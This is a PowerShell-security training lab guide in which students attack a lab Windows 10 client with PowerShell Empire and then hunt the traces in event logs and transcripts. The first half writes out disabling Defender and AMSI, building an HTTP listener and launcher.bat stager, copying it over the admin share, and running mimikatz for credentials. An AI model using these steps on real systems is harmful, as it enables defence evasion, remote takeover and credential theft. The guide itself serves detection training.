Lab 04 - Hunting Malware

Objective

Use the techniques you learned in the first lab to track down the impact of an attack launched from a PowerShell post-exploitation toolkit.

Background

As mentioned already PowerShell malware toolkits are popular these days. This lab will use PowerShell Empire, because it is easy for beginners to learn. Here is how the website describes it:

> Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. It premiered at BSidesLV in 2015.

For more information see the Empire Quick Start as well as many videos on YouTube for reference later.

Overview

Empire runs from a Linux host, so you will use SSH to connect. In the online lab web interface you must click the `View VMs` button under the **Virtual Clients** heading. Use the **RDP/SSH IP** of the `client-05.training.com` machine to connect.

If you are are using a Windows machine, you will need an SSH client like one of the following:

- the free utility PuTTY
- the Windows Subsystem for Linux (WSL)
- enable the Windows Optional Feature OpenSSH Client on Windows 10 1809 and above

If you prefer you can RDP into the public IP of the `client01.training.com` Windows 10 machine where the PuTTY client is already installed. MacOS or Linux clients can use SSH natively from the terminal.

For your convenience the PowerShell commands have been saved in script files under `C:\Labs` on the two Windows lab hosts. You can open these in the ISE to run commands without copy/paste from the lab guide.

Exercise 4.1 - Investigating an attack launched from PowerShell Empire

- Prepare the target machine
- Generate the Empire listener and stager
- Infect the target machine
- Find the badness in the logs and transcripts

4.1.1 Prepare the target machine

You will begin by ensuring that PowerShell auditing measures are implemented on the Windows 10 client. In order for this lab to work, you will also disable Windows Defender (*gasp!*).

1. RDP into the `client01.training.com` Windows 10 machine using the **RDP/SSH IP** from the lab web page. Use the `training\administrator` credential from the lab setup guide.

2. For this lab we want to make sure the PowerShell policies are enabled. We will do this with a pre-configured GPO. Open PowerShell ISE, and then open the `C:\Labs\Lab_04_Hunting_Malware.ps1` file. Run the following commands by clicking once on the line and pressing `F8`:

   ```
   Invoke-Command -ComputerName ts1 -ScriptBlock {Set-GPLink -Name
   'PowerShell Security' -Target 'DC=training,DC=com' -LinkEnabled Yes}
   ```

3. We must disable Windows Defender (which includes AMSI)! Out-of-the-box Windows 10 will block some known malicious PowerShell like Empire. (*I know. I know. This is a lab. Don't try this at work!*) We will do this with GPO as well:

   ```
   Invoke-Command -ComputerName ts1 -ScriptBlock {Set-GPLink -Name 'Disable
   Defender' -Target 'DC=training,DC=com' -LinkEnabled Yes}
   ```

4. Now refresh GPO in the same elevated PowerShell ISE:

   ```
   gpupdate /force /wait:0
   ```

5. Verify that the PowerShell policies are enabled in the registry:

   ```
   Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -
   Recurse
   ```

6. Now test to make sure Defender and AMSI are disabled:

   ```
   iex "AMSI Test Sample: $('{4}-{3}-{2}-{1}-{0}' -f
   '0ac1484c1386','8740','4339','861b','7e72c3ce')"
   ```

> **NOTE** - The AMSI test line has been obfuscated to keep Defender from alerting on the lab file.

> **NOTE** - You should get the following error: `The term 'AMSI' is not recognized...`. Make sure the error does not say: `This script contains malicious content and has been blocked by your antivirus software.`

4.1.2 Generate the Empire listener and stager

1. *Quickly* skim the Empire Quick Start guide to become familiar with the following terms: *listener*, *stager*, *agent*, *module*.

2. Use the **RDP/SSH IP** of the `client-05.training.com` lab machine to connect via SSH using your tool of choice (PuTTY, terminal, etc.).

   - Using terminal:
     - `ssh user@1.2.3.4` (use the **RDP/SSH IP** from your lab web page)
     - Enter the `user` password from the lab guide.

- Using PuTTY on Windows:
  - Install PuTTY from putty.org.
  - Launch PuTTY.
  - Paste the IP in the appropriate box. Click the `Open` button.
    - If using PuTTY from your local machine, then use the **RDP/SSH IP**.
    - If using PuTTY from the Windows 10 lab VM, then use the hostname **client-05**.
  - If prompted to trust the host click `Yes`.
  - Login as `user` with the password from the lab guide.

> **NOTE** - All Linux commands are *case-sensitive*.

3. Once in the Linux SSH session elevate to `root`:

   ```
   su
   ```

   Use the `root` password from the lab guide.

4. Launch the Empire application:

   ```
   cd /root/Empire
   ```

   ```
   ./empire
   ```

5. Generate the listener:

   ```
   listeners
   ```

   ```
   uselistener http
   ```

   ```
   set Port 8080
   ```

   Use the TAB completion to fill in the IP address in the Host address below:

   ```
   set Host http://TAB_for_IP_autofill:8080
   ```

   ```
   info
   ```

   ```
   execute
   ```

   ```
   back
   ```

   ```
   list
   ```

6. Generate the stager code and exit Empire:

   ```
   back
   ```

   ```
   usestager windows/launcher_bat
   ```

   ```
   info
   ```

   ```
   set Listener http
   ```

   ```
   set Delete False
   ```

```
info

generate

exit

y
```

7. Copy the `launcher.bat` file to the target machine:

   ```
   smbclient //client-01/c$ -U administrator -W training
   ```

   Type the `administrator` password from the lab guide

   ```
   dir

   cd badness

   put /tmp/launcher.bat ./launcher.bat

   quit
   ```

8. Leave the SSH session open.

4.1.3 Infect the target machine

Stagers can be delivered through a number of methods (sometimes called cradles). Common methods include Microsoft Office Macros, `Invoke-Expression` with a download string, etc. For our purposes we will intentionally run the stager script on the target endpoint and observe the results.

1. You must open two windows simultaneously during this exercise:
   - RDP to the Windows 10 target client as `training\administrator`
   - SSH to the Linux Empire host as `user` (follow steps used in exercise 4.1.2 step 2)

   If you are using PuTTY from the Windows 10 VM, then you can do everything in one RDP window.

2. On the Linux host start Empire:

   ```
   su
   ```

   Type the `root` password from the lab guide

   ```
   cd /root/Empire

   ./empire
   ```

3. From the Windows 10 machine logon with the `training\administrator` credential. (You are already there if you are using PuTTY inside the VM.) Open a command prompt and run the following commands:

   ```
   cd \badness
   ```

View the batch file: `type launcher.bat`

Run the batch file: `launcher.bat`

4. Change back to the SSH session. Notice that an agent is now open from the Windows 10 machine. Press `ENTER` to get the prompt back. Type:

   `agents`

5. Find the random name in the left column of output and rename it.

   `rename RANDOMNAME client01` *substitute the random name from the output above*

   `list`

   Notice the name is easier to work with now.

6. Empire allows you to remotely interact with a target endpoint using shell commands or pre-loaded post-exploit modules. You will notice a delay of potentially several seconds between running a command and seeing its output. Some commands take longer to run than others. This is due to the polling design of Empire. *Sometimes you will need to press `ENTER` to get the prompt to return.* Run these commands:

   `interact client01`

   `?`

   `sysinfo`

   `mimikatz` *This takes some time to return results*

   `creds`

   `back`

   `kill client01`

   `y`

   `exit`

   `y`

7. You have now generated sufficient malicious activity for investigation.

4.1.4 Find the badness in the logs and transcripts

1. Initially viewing the badness in the logs will be easiest with Windows Event Viewer. Then switch to PowerShell to search for specific keywords in the event logs. Look for evidence of badness in the following locations:

   - What can you find in event ID `800` in the log `Windows PowerShell`?

     ```
     Get-WinEvent -LogName 'Windows PowerShell' -FilterXPath '*
     [System[(EventID=800)]]' -MaxEvents 100 | Format-Table TimeCreated,
     ```

```
Message -Wrap
```

- What can you find in event ID `4103` in the log `Microsoft-Windows-PowerShell/Operational`?

  ```
  Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4103)]]' -MaxEvents 100 | Format-Table TimeCreated, Message -Wrap
  ```

- What can you find in event ID `4104` in the log `Microsoft-Windows-PowerShell/Operational`?

  ```
  Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 100 | Format-Table TimeCreated, Message -Wrap
  ```

- Transcription
  - What can you find in the transcript files in `C:\PSTranscripts`?
  - Browse and open individual transcript files to see all session activity.

2. Based on what you found or did not find in the logging, what can you determine about the evasion techniques used by PowerShell Empire?
3. Locate the first launch of the Empire code. It begins with a long encoded command. Find the clear text representation of the encoded command in the logs.
   - How is it obfuscated?
   - What evasion techniques are visible in the code?
   - What implications does this have for your PowerShell logging strategy?
4. In the steps above, once Empire had an open connection to the machine you launched `mimikatz`. Find any log or transcript entries containing that keyword.

   ```
   Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -FilterXPath '*[System[(EventID=4103)]]' -MaxEvents 1000 | Where-Object Message -like "*mimikatz*" | Format-Table TimeCreated, Message -Wrap
   ```

   ```
   Select-String -Path C:\PSTranscripts\*\* -Pattern mimikatz
   ```

5. After searching for `mimikatz` a couple times in the logs and transcripts, notice that your own searches now appear in the results. *Someone's poisoned the watering hole!* How can you avoid introducing false positive keywords into your own logs?
6. The Empire toolkit keeps a heart beat with the endpoint under control. This activity generates a lot of log noise. Look for keywords you could use to screen out noise in your searches or when forwarding to your SIEM.
7. Continue studying the logging and transcription patterns you see from the Empire activity. How could you automate detection of such events in your enterprise?

End of line.